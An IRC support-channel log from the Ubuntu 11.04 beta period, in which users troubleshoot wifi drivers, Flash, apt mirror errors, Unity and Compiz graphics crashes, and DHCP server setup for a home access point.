metroid1i have noticed that when i install something from the software center a debconf window will flash during the install.  has anyone else noticed this?19:38
metroid1it doesn't seem bug report worthy but it is odd.19:38
KM0201cuz i don't see anything called "Datel" in the hardware database19:38
knightautwellbroadcom BCM 43224 802.11 a/b/g/n19:38
KM0201knightautwell, you need the STA driver for that one, i'm pretty sure19:39
KM0201!broadcom19:39
ubottuHelp with Broadcom bcm43xx can be found at https://help.ubuntu.com/community/WifiDocs/Driver/bcm43xx19:39
knightautwellmy other one is Ralink 802.11n WLAN19:39
KM0201knightautwell, lets focus on one at a time.19:39
KM0201the broadcom is the internal, right?19:39
knightautwellok lol i was just saying and yes19:40
KM0201have you tried the sTA driver/19:40
KM0201?19:40
knightautwellno not yet im going to now19:40
KM0201knightautwell, ok...19:40
KM0201that should get that device working.19:40
knightautwellas a AP?19:41
KM0201you didn't say as an AP.19:41
KM0201unless you said it while i wasn't here19:41
knightautwelllol yea i did earlier19:41
KM0201then i wasn't here.19:41
knightautwellsorry lol19:41
KM0201sorry.19:41
KM0201don't know about the AP.19:41
KM0201does the device not work at all?19:41
KM0201or just doesn't work as an AP?19:42
knightautwellnot as an AP19:42
KM0201ok..19:42
knightautwelltried installing the software with wine but got an error about the registry19:42
KM0201well yeah, i could have told you that wasn't gonna work... wine isn't used to run hardware19:43
knightautwelllol i didnt know19:43
jozefkI can't install flash plugin with kpackagekit http://pzt.me/zsup19:43
jozefkthis is kubuntu 11.0419:43
knightautwellis there anyway you can think of to make it an AP i know it supports it19:44
knightautwellwell my internal should support it and if it doesnt my other one does for sure19:44
hifi"lua" is a virtual package provided by:19:44
hifi  lua50 lua4019:44
hifisay what?19:44
KM0201knightautwell, dunno, try asking on the forums... ubuntuforums.org19:45
knightautwellok will do19:45
adrian_kxjoze u use 64 bit version?19:45
hifiwhy in the hell lua5.1 is not a Provider for lua virtual?19:45
jozefkno it's 32bit version19:45
adrian_kxohh19:46
Richardo_charlie-tca, it didn't work, now clicking the windows option just comes up with a blinking cursor19:46
adrian_kxon 64 bit edition is a bug of missing deps and cant install f;lash but 64 bit version of flash works fine19:46
knightautwellis there any liek virtual router program for natty?19:46
knightautwell*like19:46
jozefkok how can I get it working then?19:47
adrian_kxtry to install it from tgz package19:47
jozefkand codes as well http://pzt.me/2mvs19:48
jozefktgz from adobe website?19:48
jozefkcodecs*19:49
adrian_kxyes19:49
adrian_kxfrom adobe19:49
yofeljozefk: do you have the universe repository enabled? Did you try to refresh the package cache?19:50
adrian_kxcopy libflashplayer.so to /usr/lib/flashplugin-installer/ and/usr/share/ubufox/plugins19:50
adrian_kxshould work19:50
yofelthe package in the archive should work too19:50
jozefkI tried to refresh and see the updates but I got this http://pzt.me/i6wn19:51
jozefkuniverse is enabled19:52
jozefkby default19:52
yofelwell...19:52
yofel!info libnspr4-0d19:52
ubottulibnspr4-0d (source: nspr): NetScape Portable Runtime Library. In component universe, is optional. Version 4.8.7-0ubuntu1 (natty), package size 13 kB, installed size 64 kB19:52
yofelit *is* there, and what you're getting is only a signing key warning (which shouldn't happen for the archive though...)19:53
jozefkso? how to get it working?19:53
jozefkI keep getting this kind of error for maybe 1 year already19:54
jozefkwith ubuntu and anything based on ubuntu19:54
yofelcan you run 'sudo apt-get update' and pastebin the *whole* output?19:54
yofel'ubuntu-keyring' is installed?19:54
jozefkI don't know about keyring19:54
yofelthe package19:54
yofel*if* that's installed you could try this: sudo apt-key adv --recv-keys --keyserver keyserver.ubuntu.com 40976EAF437D05B519:56
jozefkhttp://pzt.me/o6dq    this is apt-get update19:56
jozefkubuntu-keyring is installed19:56
yofelcan you pastebin your /etc/apt/sources.list? (assuming you don't have any private archives added there - if you don't know what I'm talking about you don't)19:57
jozefkhttp://pzt.me/czrd19:58
jozefkthis I got after keyring commnad of yours :)19:58
jozefkcommand*19:58
yofelok, run apt-get update again, any change?19:58
eagles0513875yofel: do you know if there is a ppa with a newer version of knetwork manager floating around cuz mine keeps crashing non stop19:59
jozefksources list http://pzt.me/e5z819:59
yofeleagles0513875: our snapshot is barely 10 days old, so please file a bug at least against plasma-widget-networkmanagement20:00
jozefksecond apt-get update http://pzt.me/gull20:01
eagles0513875yofel: it was working friday for me and now all of a sudden started crashing20:02
yofeljozefk: I don't get why you're getting "Err http://ae.archive.ubuntu.com natty Release" with that, can you change your mirror for a try? press alt+f2 and run: kdesudo software-properties-kde20:02
yofelthere choose a different server at the bottom20:02
yofeleagles0513875: yes, that package was only uploaded on the 15th20:03
eagles0513875ok ill file a bug against it20:03
yofelor wait no20:03
eagles0513875odd20:03
eagles0513875its saying that kded4 closed unexpectedly20:04
yofelthe upload from the 15th was:   * Add kubuntu_05_save_autoconnect_settings.diff, cherry-picked from upstream.20:04
yofel    (LP: #760432)20:04
KM0201hehe.20:04
yofela network manager update was on the same day20:04
yofeleagles0513875: please file a bug so we get a trace of the crash or we won't know what goes wrong20:05
jozefkI chose germany and it seems it's working now20:05
eagles0513875will do yofel20:05
jozefkat least so far20:05
yofeljozefk: can you take your broken paste from apt-get update and post a small notice in #ubuntu-mirror that switching mirrors helps?20:06
yofel#ubuntu-mirrors I mean20:06
jozefkreqonk downloaded and installed the flash by itslef :) smart guy.20:08
jozefklet me see kpackage manager first. for a moment20:08
yofelhm... kded4 and knotify4 are stuck using 100% CPU :S20:08
* yofel kill -s 920:09
jozefkwhat is the network manager we have in kubuntu 11.04?20:14
TechnovikingMy evolution and xchat-gnome are using 24 hour time in Natty, but my locale setting are set to Eng-US and 12 hour time. Any ideas?20:14
charlie-tcaxchat has it's own settings, Settings -> Preferences, Text box tab, time stamps20:16
charlie-tcai would guess xchat-gnome has something similar?20:16
Technovikingcharlie-tca: it does not20:17
KM0201charlie-tca: nope, it doesn't20:17
KM0201Technoviking: my suggestion would be to download xchat.. :)20:17
KM0201its bettter than xchat-gnome anyway20:18
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KM0201how do you change the "Ubuntu" icon in Unity?20:24
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KM0201i wonder if tweak can do it.20:24
KevinDivideAnyone here know anything about trackpad issues for netbooks?20:27
charlie-tcaKevinDivide: there are many to pick from.20:31
th1KevinDivide, what's the issue you are having?20:38
rwhittlepray20:38
KM0201anyone know how to change the icons on the sidebar in unity?20:38
th1KevinDivide, I had mine stop working and then I had my boss take it apart to try and fix it and then it worked but now it works intermittently20:38
th1I'm not sure if its Natty or hardware20:38
KevinDivideI'm thinking it's hardware.. stopped working on 11.04 update.. didn't work when I rolled back to mav20:41
KevinDivideupdated to natty again, still no go.. any packs to inspect/manage actual hardware I should know about?20:42
KevinDivide(I'm new)20:42
th1KevinDivide, just weird that that would happen to me as well ;)20:43
th1what netbook do you have?20:44
KevinDivideacer aspire one20:44
th1ok mine's an Asus Eee 1000HE20:44
KevinDividePAV70 here20:44
th1probably a hardware thing20:44
th1but after my boss fixed it (he said the connector was very loose and needed to be tightened) it worked, then it stopped working and now it's working again20:45
th1so it's probably a bad connection20:45
th1seems it's working pretty reliably now20:45
KevinDivideok, I'll have someone take this beast apart if I can't figure out some in-box solution20:46
KevinDivideappreciate the help!20:46
mongyany idea if edge+button gestures in compiz will work when natty is final?20:46
th1mongy, did you set them up wtih ccsm?20:47
mongyyes20:47
th1ok, some of my settings got deleted while upgrading so just thought I'd ask20:47
mongyedges by themselves work. just not with a button click20:47
th1I'm not using corner+button gestures myself20:47
mongyalso, is the desktop wall sliding a feature or just the parallax effect broken?20:49
mongyin 10.10 when switching desktops by whatever method, its parallax, but in 11.04 it moves the whole screen..20:51
* L-Strife89 seems to be overlooking something, as he has yet to find a list of changes/new features in Natty over Maverick.20:54
eagles0513875yofel: not sure if you can help me with bug #76505720:55
ubottuError: Launchpad bug 765057 could not be found20:55
L-Strife89That said, I plan to simply try out Natty later when I have some free time.20:55
eagles0513875yofel: bug #76505720:55
L-Strife89Ah, found it ....20:59
KM0201!bug #76506720:59
ubottuLaunchpad bug 765067 in aptdaemon (Ubuntu) "<type 'exceptions.NameError'>: global name 'trans' is not defined (dup-of: 764883)" [Undecided,New] https://launchpad.net/bugs/76506720:59
ubottuLaunchpad bug 764883 in aptdaemon (Ubuntu Natty) "<type 'exceptions.NameError'>: global name 'trans' is not defined" [High,Incomplete] https://launchpad.net/bugs/76488320:59
L-Strife89... Crap, Unity will require 3D acceleration?21:00
KM0201L-Strife89: for now, yes.21:00
KM0201a 2D version is due.21:00
L-Strife89I can't even get barebones Metacity to do graphical effects on this laptop. :(21:00
L-Strife89Not properly, anyway.21:01
charlie-tcaL-Strife89: http://www.ubuntu.com/testing/natty/beta21:01
charlie-tcahas the changes21:01
L-Strife89charlie-tca: Yeah, I just realized a little while ago. :)21:01
eliashow do i add a new locale?21:05
alejandroDoes anyone know how to get the email notification bubble to repeat in Natty?21:06
BluesKaj-denahh, success! natty instaled on den-pc with KDE4.6.2 .. usable uncluttered desktop that actually works , with preferred settings21:08
yofeleagles0513875: not really, but that does seem a rather frequent error lately21:08
eagles0513875ok at least its not only me21:09
eagles0513875yofel: possiblity of a new snapshot of the manager might do the trick?21:09
yofelhuh? #765057 is about aptdaemon, not NM, but NM works fine for me. I know c2tarun had NM issues though21:10
c2tarunyofel: I still have. :/21:11
ubuntuloverman00Can someone help me install "the board" I have no idea how to do it21:11
c2tarunwhy are applications keep crashing on beta2? like vlc, gimp and may be more.21:12
yofelc2tarun: give me a trace and I might be able to tell you what's the problem21:13
yofelwithout a trace it's impossible to track down21:14
c2tarunyofel: well I just switched from vlc to quassel because it pinged and then vlc simply crashed, how to reproduce the trace?21:14
yofelmaybe apport catched the crash if drkonqi didn't21:15
yofelif it did you need to figure out yourself how to reproduce it21:15
yofelbut apports crash file should have the core dump from the crash21:16
Guest17380need help21:21
yofel!ask21:24
ubottuPlease don't ask to ask a question, simply ask the question (all on ONE line and in the channel, so that others can read and follow it easily). If anyone knows the answer they will most likely reply. :-)21:24
iceroothi21:32
icerootis gpg --fingerprint bugged in 11.04? or are further steps needed to show my fingerprint?21:32
dajhorniceroot:   `gpg --fingerprint` works-for-me.  Are you getting an error?21:33
icerootdajhorn: nothing21:33
dajhorniceroot: gpg on Natty is checking for $HOME/.gnupg/pubring.gpg when I call it.21:34
icerootempty file21:34
dajhorniceroot: That is the glitch.21:34
icerootbut a key is generated by default? its the same as the openssh-server key?21:35
dajhorniceroot: No,  gpg and ssh keys are different things.21:35
icerootdajhorn: ok but because of gpg is installed, normally the package should have generated a key21:36
dajhorniceroot:  Your private ssh key is $HOME/.ssh/id_rsa21:36
dajhorniceroot: No, gpg doesn't do this.21:36
dajhorniceroot: The openssh-server package will generate a host key at install time.  This is different than a gpg key.21:37
SuperstarHow do I configure the visual effect preferences of Natty? In 10.10 I would go to System > Preferences > Appearance and then select the "Visual Effects" tab. It seems this tab is missing from it?21:37
icerootdajhorn: ok so its not a but, just my fault because i have to generate a gpg key first21:38
icerootbug21:38
dajhorniceroot: Yes.21:38
dajhorniceroot: ... but not a bug.21:38
icerootdajhorn: thank you for the usefull information21:38
dajhorniceroot: Welcome.21:38
dajhornSuperstar: Try `ccsm` at a terminal prompt.21:40
alejandroSuperstar: download ccsm from the Software Center.21:40
Superstardajhorn, alejandro: I was hoping to do this without that but thanks anyway21:41
dajhornSuperstar: This panel is exposed in the usual if you exit unity and login to the classic desktop.21:41
lucas-argguys, i cant shutdown the computer when im using nvidia-current, its ok with noveau drivers...21:45
karlhuntHi, just did a barage of updates to ubuntu 11.04 beta 2 and now if i select ubuntu classic at login i still get unity22:01
hardcold_that's cool Karl22:04
hardcold_I'll try that22:04
hardcoldkarlhunt: works fine here22:08
hardcoldIs classic more stable than Unity?22:09
karlhuntyes22:10
karlhuntalot22:10
karlhuntI have to pick classic (no effects) to get the classic desktop22:10
hardcoldWell, I'm going to mess around with classic now22:11
hardcoldBecause unity/ubuntu has been crashing like crazy22:11
hardcoldI noticed that Amazon on demand works fine on Ubuntu and that their prime service has movies like netflix now22:13
hardcoldthe selection is only around 1,500 movies or so, but you get the rest of the prime benefits as well22:13
hardcoldPerhaps they will add more titles and be a serious competitor to netflix22:14
hardcoldif that's the case, then those netflix threads on ubuntu can finally be closed22:14
karlhuntis that stateside?22:15
hardcoldlast time I was on Amazon they only did rentals, so I don't know when they rolled out the Prime service for video22:15
hardcoldyeah, in the US22:15
karlhuntNo netflix or amazon od on this side of the pond!22:16
karlhuntI managed to get virtualbox 4 working in 11.0422:16
karlhuntmy graphics are a bit flakey. Although i expect thats because I have a new chip22:17
hardcoldwell, I'll take your healthcare and you can have my netflix22:18
karlhuntlol Ill raise you your broadband22:19
karlhuntand my 12 month waiting list22:19
hardcoldforget that, just move to Japan22:19
karlhuntYeah22:19
karlhuntgigabit22:19
karlhuntmmmmm22:19
hardcoldyup22:19
hardcoldmy friend had 100mb down and up in 200222:19
hardcoldfor $40 a month22:20
karlhuntThere isnt enough porn in the world to download over a gigabit22:20
hardcoldin 2006 that was upgraded to 1000mb for a one-time $50 fee22:20
karlhuntBritish Telecom are just launching 40 down 10 up for £2522:20
hardcoldapparently google will be rolling out gigabit service in the US in some test runs22:20
karlhuntVirgin Media have 100 down 10 up for £5022:21
karlhuntThats the best youll get here without a leased line22:21
hardcoldEstonia has cheap fiber22:21
hardcoldyou could move there22:21
karlhuntIm on adsl i get 5 down 1/2 up lol22:21
hardcold100mb down 20mb up for 20 euro22:22
hardcoldwell, I'm moving to Iceland this summer22:22
hardcoldso, you're better off than I'll be22:23
hardcoldactually, no, it's faster there22:23
karlhuntUK is one of the worst in europe for broadband22:23
hardcoldWell, Iceland is another option ^_-22:23
karlhuntbut then our infrastructure is one of the oldest22:23
hardcoldshort flight from London22:23
karlhuntOr i could live in a box and pretend there is no internet22:24
karlhuntgrow a long beard22:24
hardcoldwe have to be careful or we will be banned for talking about things other than ubuntu22:24
knightautwellhey when i try to run firestarter i get an error what it couldnt be started22:24
karlhuntand grumble at teenagers with ipods22:24
karlhuntlol22:24
knightautwelleven when i try to uninstall it i get errors22:24
Daekdroomknightautwell, what is the error?22:24
karlhuntfirestarter?22:24
DaekdroomPastebinit if necessary22:25
Daekdroomkarlhunt, a firewall GUI22:25
knightautwellfirewall lol22:25
knightautwellim using it with hostapd to make an access point22:25
karlhuntahh yes i have seen it22:25
knightautwellill pastbin the error when i try to install it22:25
DaekdroomI have 10Mb down/1Mb up here in Brazil for what is worth 30 euros, btw.22:26
DaekdroomBut it's harder to get that amount of cash in here than it is in Europe.22:26
karlhuntJust installed firestarter without error22:27
knightautwellhowd you install it?22:27
karlhuntsudo apt-get install firestarter22:28
knightautwellwith the software center or synaptic22:28
Daekdroomknightautwell, really, we don't have a clue of what is wrong if you don't paste the error message.22:28
nemook. is there any sane way in unity to identify which variant of an application is which?22:28
nemoI have 2 firefox icons on boot - I assume one is for the one I downloaded to my desktop22:28
knightautwellok hold on22:28
nemoI have no idea which is which, and apparently you can't drag those icons to your desktop or get properties for them22:28
knightautwellwell when i install it thru the terminal i dont get an error its when i try to run it22:29
* nemo restorts to grepping for process name in a terminal22:29
karlhuntfirewall is running here too paste your error knightautwell22:31
nemolooks like it was the 2nd one.22:31
knightautwellok here ya go   http://paste.ubuntu.com/595698/22:32
nemohm. how do you customise applets in Unity?22:34
nemoor did they ditch that too?22:34
nemoI tried right clicking on the top bar, and got nnothing22:34
Daekdroomnemo, they never actually ditched that.22:35
DaekdroomIt was never possible in Unity, really.22:35
nemosure22:35
nemowell. I didn't give unity much of a chance last time22:35
nemodue to crashing and mispositioning windows and general irritation22:35
nemoso now I'm trying to learn it22:35
nemoI see that if I click the terminal button in quick launch, it refuses to give me a new terminal window...22:35
nemolooks like you have to right click and use gnome terminals open terminal function22:36
nemosoooo. no system monitor applets, no cpu load applet, no quick desktop switch applet...22:36
trismnemo: middle click it for a new window22:36
nemotrism: have no middle click - I suppose that means using both mouse buttons22:37
nemohate shortcuts like that22:37
nemodidn't work though22:37
nemooh22:37
nemoI just wasn't fast enough22:37
nemoit had closed before I could position my fingers over both buttons22:37
nemoyeah. right clicking on terminal window is easier22:37
trismnemo: yeah I think double click would probably be better22:37
nemowelp. alt-tab still works.22:38
knightautwellany idea guys?22:38
nemoexpose shortcut does not. odd.22:38
* nemo opens ccsm22:38
trismknightautwell: you could try updating python-aptdaemon, it looks like you have an older version22:38
nemonice. if you run search, and enter an app you already had open, it wiggles the icon, but does not bring the app to focus22:39
nemoheh. the new thin scrollbar seems nice, but if you want to scroll, you have to go to the orange area, not just click anywhere in the orange/grey line22:39
nemoand of course the scroll arrows don't appear if you just moved over the gray22:39
nemoI can see that confusing tons of people22:40
nemooh. expose was rebound.22:40
karlhuntknightautwell, there are apt-errors in there broken package?22:40
knightautwellhuh?22:41
karlhuntIt looks like you have missing dependancies from the install22:44
knightautwellfrom what install?22:44
nemoehm. guess I'll leave it on Unity for a while to see if I adapt to its deficiencies22:45
karlhuntfirestarter22:45
hardcold_I just switched back to Unity22:45
knightautwellso what do i do22:45
hardcold_classic crashed just as much22:45
karlhuntyou can use synaptic to fix broken packages22:45
nemoI suppose I like it having ditched the firefox combined menu, since I preferred having the easy access to dev functions, but only used combined to save space22:46
karlhuntcan't remember the apt command22:46
knightautwellok ill try22:46
nemoshame it freed up that space by getting rid of my app switching and other applets22:46
karlhuntif that doesn't work (although it should as firestarter is working here) you can chase down the dependancies one by one22:46
knightautwellok thanks22:47
hardcold_I'm new to Ubuntu/Linux (been using this since Friday night when my x120e arrived). I assume that when 11.04 is out of beta, and the community has had time to sweeten things up on the Fusion platform it will be stable, right?22:49
hardcold_Is that a reasonable assumption?22:49
hardcold_I'm coming from OSX, so stable to me means zero crashes a year22:49
robin0800hardcold_, not realy its only10 days away22:50
hardcold_Right, and yet people keep saying "it's just a beta"22:50
hardcold_I think the hardware is just too new22:51
robin0800hardcold_, its beta with lots of updates already22:51
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piccaanyone here find that autofs doesn't work with ubuntu 11.04 in that ubuntu freezes on shutdown ... when i uninstall autofs, ubuntu shuts down just fine22:51
arif-alipicca, I use autofs, no problems at all22:53
piccaarif-ali, do you use autofs with smb?22:53
arif-aliyeah22:53
nemohardcold_: keep in mind OSX only has to support one set of hardware :)22:53
nemohardcold_: graphics acceleration is a big cause of instability22:53
hardcold_nemo, I'm very aware of that22:54
hardcold_memo, ah, so you think I should disable the graphics driver?22:54
nemoalso, my OSX box (which I admittedly don't use much) may not crash much, but I still end up rebooting it like once a week, since apple apparently has the silly idea that virtually every update requires a reboot22:54
nemohardcold_: erm. dunno. wasn't paying attention to your problem22:54
nemowhat is it?22:54
nemohardcold_: my personal experience is that 11.04 has been a lot less stable than other betas - I blame unity.22:55
hardcold_I just get a lot of crashes22:55
nemohardcold_: welp. yeah. try unity 2d or gnome classic22:55
nemohardcold_: and in gnome classic, "disable desktop effects"22:55
nemohardcold_: what's your gfx card btw?22:56
karlhuntIm having gfx issues too very slow22:56
hardcold_it's the amd fusion e350 deal22:56
karlhuntbrightness changes are 15 secs behind22:56
hardcold_what's the command to show all your system specs?22:57
karlhuntscreen is slow to update22:57
karlhuntlspci22:57
karlhuntI think mine is down to my second gen core i5 not too well supported22:58
nemokarlhunt: what's *your* gfx card?22:58
karlhunthd 3000 i think23:00
karlhuntintel23:00
karlhuntpart of sandy bridge chipset23:00
nemokarlhunt: hey. you're the one that mentioned lspci23:01
nemo01:00.0 VGA compatible controller: ATI Technologies Inc RV730XT [Radeon HD 4670]23:01
nemoand on the other one...23:01
nemo01:00.0 VGA compatible controller: nVidia Corporation G92 [GeForce 9800 GT] (rev a2)23:01
karlhuntit doesn't display properly in lspci23:01
nemoer...23:01
karlhunt00:02.0 VGA compatible controller: Intel Corporation 2nd Generation Core Processor Family Integrated Graphics Controller (rev 09)23:01
hardcold_I had the same issue23:02
karlhuntDoesn't tell us much huh23:02
nemolspci -v23:02
nemowhat does subsystem say?23:02
hardcold_nope23:02
nemooh well. I don't know too much about intel cards and their capabilities anyway...23:03
karlhuntnope still nothing more23:03
nemokarlhunt: have *you* tried gnome classic + metacity || unity 2d?23:03
karlhunton sandy bridge the graphics are on the cpu die23:03
nemohuh. mine intel laptop has a cryptic lspci line, but at least subsystem says Sony Corporation Device 906c23:04
karlhuntim in gnome classic (no effects) now23:04
karlhuntDell device 49b23:04
nemokarlhunt: screen brightness changes are instantaneous here23:05
nemokarlhunt: for you they are delayed?23:05
nemoI'm testing in Power Management Preferences, AC power default brightness23:05
karlhuntyes23:05
nemoon my intel laptop23:05
karlhuntbadly23:05
nemokarlhunt: what if you try manipulating from commandline?23:05
karlhuntwhats the command?23:05
nemohang on. I made this lil' script once when power manager was not controlling brightness properly for someone23:06
nemohttp://m8y.org/tmp/set_brightness.txt23:07
nemohope that gives you the idea23:07
nemoI gksudo wrapped that23:07
karlhuntpower management has same lag as shortcut keys23:07
nemoof course, not saying it'd work in your case.23:07
nemokarlhunt: anything in dmesg while it is busy lagging?23:07
rwhittleTR23:07
hardcold_aside from the crashes my machine is otherwise functional23:08
nemohardcold_: what in particular is crashing? and have *you* tried gnome classic + metacity || unity 2d? :)23:08
nemo11.04 was indeed crashing a lot on me, but seems to have improved in last week23:09
nemohopefully they are getting things under control23:09
karlhuntcouldnt find brightness control23:09
karlhuntits not just the brightness the gfx are generally poor23:09
hardcold_nemo, I don't know what metacity is. Keep in mind I've been using Ubuntu/Linux since Friday evening23:10
nemohardcold_: sign in using gnome classic23:10
karlhuntIts a window manager23:10
nemohardcold_: (dropdown at the bottom on login page picks it)23:10
hardcold_As an example of a crash, when I was signed in classic mode, I was scrolling up and down in this chat, and the system froze23:11
karlhuntonly after you click you name though23:11
nemohardcold_: then go to System->Preferences->Appearance->Visual Effects and chose None23:11
nemohardcold_: ah. never seen anything like that w/ 11.0423:11
nemohardcold_:  it might be useful to check logs for clues23:12
robin0800nemo don't think you can do that now23:12
nemoalso, if you're able, try things like ctrl-alt-f1, ctrl-alt-backspace23:12
nemorobin0800: huh? can't do what. check logs?23:12
karlhunthasn't ctrl-alt-backspace been disabled for 2 versions now?23:13
robin0800nemo ctrl-alt backspace is now disabled by default23:13
nemokarlhunt: well. I don't get a lot of crashes :)23:13
nemokarlhunt: I used to explicitly override the disabling of override of keyboard grabs23:13
hardcold_yeah, I've tried every imaginable keyboard combo23:13
karlhuntnemo, you obviously don't 'play' as much as I23:13
nemokarlhunt: hm?23:14
karlhuntlol overide the overides23:14
robin0800nemo there is no appearance tab now23:14
nemohardcold_: how about sshing in - did you try that?23:14
nemorobin0800: uh. even in gnome classic?23:14
* nemo quits unity to check23:14
hardcold_Whoa, now he's breaking out the greek23:14
hardcold_I assume you mean accessing it via a network?23:14
nemohardcold_: yeah. did it respond to pings?23:14
nemotrying to figure out if freeze was desktop or whole computer23:15
trismyou can select the (no effects) session to get basically the effect of the old Visual Effects/None23:15
nemohardcold_: still think you should try disabling compiz23:15
nemotrism: that would be unity 2d eh? :)23:15
hardcold_I try to connect to it, no23:15
hardcold_er, did not23:15
robin0800the command to disable compiz is metacity --replace23:16
trismnemo: no, the unity 2d session is called Unity 2d, I'm not sure if it is even installed by default23:16
nemogah. you have to do it from the commandline or login now?23:16
nemomaaaan23:16
robin0800trism, no its not23:16
nemoyou're right. no more appearance tab. lovely.23:16
nemohardcold_: well. there you go. my ability to explain how to disable compiz w/o using a commandline was obsoleted in 11.04 :-p23:18
nemodo what trism said23:18
hardcold_Well, I can run classic without effects, choosing that at login23:23
hardcold_I'll try that now23:24
knightautwellcan someone help me with a problem with istalling DHCP server?23:25
hardcoldokay, now using classic with no effects23:25
hardcoldwe'll see how long it takes to crash23:26
knightautwell???23:26
nemoknightautwell: I've only ever setup dhcp under gentoo, but there might be some overlap23:27
hardcoldholy crap, it's as responsive as OSX now23:28
hardcoldwow23:28
nemousing eix dhcp23:28
nemohardcold: huh. you installed OSX on it?23:28
knightautwellcan you check out my error?  http://paste.ubuntu.com/595721/23:28
nemowere you using hackintosh?23:28
hardcoldnemo_: no, my main computer is a MBP23:28
knightautwelldoes eix dhcp work with firestarter and hostapd?23:28
hardcoldI bought this x120e to try ubuntu23:28
nemoknightautwell: try launching it non-daemon, but you probably need to configure it23:29
hardcoldI wanted a small, light and cheap computer23:29
nemohardcold: well. just noting, hardly a comparison then :)23:29
nemohardcold: wimpy graphics cards usually do better w/ effects disabled23:29
nemohardcold: could *could* try metacity w/ compositing, YMMV23:29
knightautwelli did it in terminal isnt that enough?23:29
hardcoldthe GPU is this is more power than in my MBP23:29
nemoknightautwell: I can share my dhcp config file23:29
knightautwellok thanks23:30
knightautwellis eix better than than this one or what?23:30
nemoerm23:30
nemosorry23:30
nemoknightautwell: my brain was shorted. I'm suing same dhcp as you.23:30
knightautwelloh lol ok23:31
nemoISC one23:31
nemoknightautwell: I had run eix -I dhcp to see which one, and then misstyped23:31
knightautwellok lol23:31
knightautwellill look at your config file and see what up lol. do i use it in the etc/dhcp folder?23:31
nemohardcold: heh. how do you measure that? :)23:32
knightautwellnvm lol23:32
nemohardcold: what's  your mbp running?23:32
nemo(for a gfx card)23:32
hardcold8600m23:32
hardcoldit's an early 2008, 2.5ghz23:33
nemohardcold: um. and you consider that wimpier than whatever intel combined chip you're using??23:33
hardcoldit's an AMD Fusion e35023:33
hardcold80 core radeon deal that is more powerful than the Intel HD 4000 that comes stock in today's bottom end MBP23:33
hardcoldjust google the AMD fusion vs intel hd 400023:34
nemohardcold: what FPS do you get for glxgears ?23:34
hardcoldis that a game?23:34
nemo(open terminal, run command, wait 10 seconds)23:34
hardcoldokay23:34
nemohardcold: just a trivial opengl demo sometimes used for perf tests23:34
hardcoldI23:35
hardcoldI23:35
nemomight be vsynced, can always make the window larger to stress it a bit23:35
hardcoldI'm in classic no effects23:35
hardcoldthat will not hinder that?23:35
nemonope23:35
hardcoldnot installed23:36
coz_glxgears is not installed?23:36
hardcoldcorrect23:36
hardcoldinstalling now...23:36
hardcoldluckily it gave me the command to do so23:36
knightautwellhey nemo can i see your conf file for dhcp?23:36
nemomy intel card running 11.04 can do glxgears in an 891x751 at synced 60fps w/ compiz running23:36
hardcoldI'm running at 1366x76823:37
nemoknightautwell: sure. just reading it over to make sure I don't mind sharing it :)23:37
knightautwellhaha ok23:37
nemoyeah. there's nothing private in here...23:37
knightautwelllol23:37
nemohttp://m8y.org/tmp/dhcpd.conf23:38
nemothere ya go23:38
knightautwellthanks23:38
nemoin case you wonder why I use 10.0.0.* - it is easier to type in :-p23:38
nemothat was basically just a copy of the sample one plus some uncommenting23:38
coz_there is something else besides glxgears I once used cant remember the name23:38
nemohardcold: I was referring to the size of the glxgears window23:38
nemohardcold: since the default size wasn't slowing it down at all23:38
hardcoldIt's running at 60fps23:38
hardcoldseems capped at 6-fps23:39
nemohardcold: yeah. vsync23:39
hardcoldcapped at 60fps23:39
nemohardcold: does it stay at 60 even if you increase size of window?23:39
nemoheck. mine stays at 60 even w/ blending translucent window over it that has a gaussian blur enabled :)23:39
nemo(terminal window w/ gaussian blur to maintain readability, in this case)23:39
knightautwellso do you use hostadp?23:39
nemonever heard of it23:40
hardcoldI maximized it23:40
hardcoldfull screen23:40
KM0201knightautwell: you still working on that?23:40
hardcoldstill 60fps23:40
nemommm23:40
knightautwellyea lol23:40
nemohardcold: so you were getting a slow UI, as well as lockups?23:41
hardcoldhow do I stop this?23:41
KM0201are you sure the card has those capabilities, under Linux?23:41
nemohardcold: just click the close button, or hit ctrl-c in terminal. whatever.23:41
hardcoldnemo_: now I was not getting a very slow UI, that was the other guy23:41
hardcoldI was just getting a lot of crashes23:41
nemo18:28 < hardcold> holy crap, it's as responsive as OSX now23:41
nemohardcold: that sounded like unresponsive to me23:41
hardcoldI was comparing it to OSX not Windows23:42
knightautwellyea well im using my usb one now and my psp is connecting just not getting an ip address.23:42
nemohardcold: yeah. but what I'm getting at, is that disabling effects resulted in an improvement in responsiveness?23:42
hardcoldan example would be, when I click on a menu, it appears instantly without any flicker23:42
nemoah.23:42
knightautwellyea idk23:42
knightautwellok i found out whats giving me the error23:43
hardcoldIn Unity, when moving between drop-down menus there is a flicker with a white box behind it23:43
nemommm23:43
hardcoldwith this there is no flicker, it is instant and clean23:43
hardcoldlike OSX23:43
nemohardcold: ok. I've seen that before on some gfx cards23:43
knightautwellits isc-dhcp-server23:43
nemohardcold: you miiight want to try gnome classic with effects, but with the unity decorator disabled23:43
hardcoldWhat I23:44
nemohardcold: in unity, are there still this stupid-heavy shadows on all menus and windows?23:44
hardcoldwhat I'd like to do now is disbale this glgears thing23:44
nemothose23:44
nemohardcold: like I said, click the close button, or hit ctrl-c in the terminal window. either one23:44
hardcoldokay23:44
knightautwellwhen i install isc-dhcp-server in the terminal i get an error at the end...invoke-rc.d: initscript isc-dhcp-server, action "start" failed23:45
nemoknightautwell: check system log, or try running dhcpd in foregrond23:46
nemoforeground23:46
nemo /usr/sbin/dhcpd -f I believe23:48
nemohardcold: so. yeah. does it still use those heavy shadows?23:49
hardcoldI'm using classic with no effects23:49
nemohardcold: I was asking about before23:49
nemowhen the menus were flicker-y23:49
nemohardcold: one of the reasons I disabled the unity decorator was that it was screwing up my system responsiveness.23:50
nemoI'm using gtk decorator in both unity and gnome classic now23:50
hardcoldI like how Ubuntu is trying to copy OSX so extensively23:50
knightautwellhye nemo is there a file in your /etc/init.d file that is dhcp3-server or just dhcp-server?23:50
hardcoldI guess Apple would so them if they had more market share23:50
nemohardcold: heh. everyone copies everyone23:51
nemohardcold: you could say apple and microsoft got their app stores from concept of linux package mamnagement :)23:51
hardcoldUbuntu seems to try and copy best practices from OSX, Windows, etc23:51
nemobut. yeah, Unity is more OSX-y23:51
nemoI still don't like it23:51
nemobut I'll try to get used to it...23:51
KM0201hardcold: yeah.. but.. in a way, that makes sense... even as bad as Windoze is, it has some good points...23:51
hardcoldUnity is not OSX-y23:51
nemoknightautwell: just dhcpd - gentoo packages things differently23:52
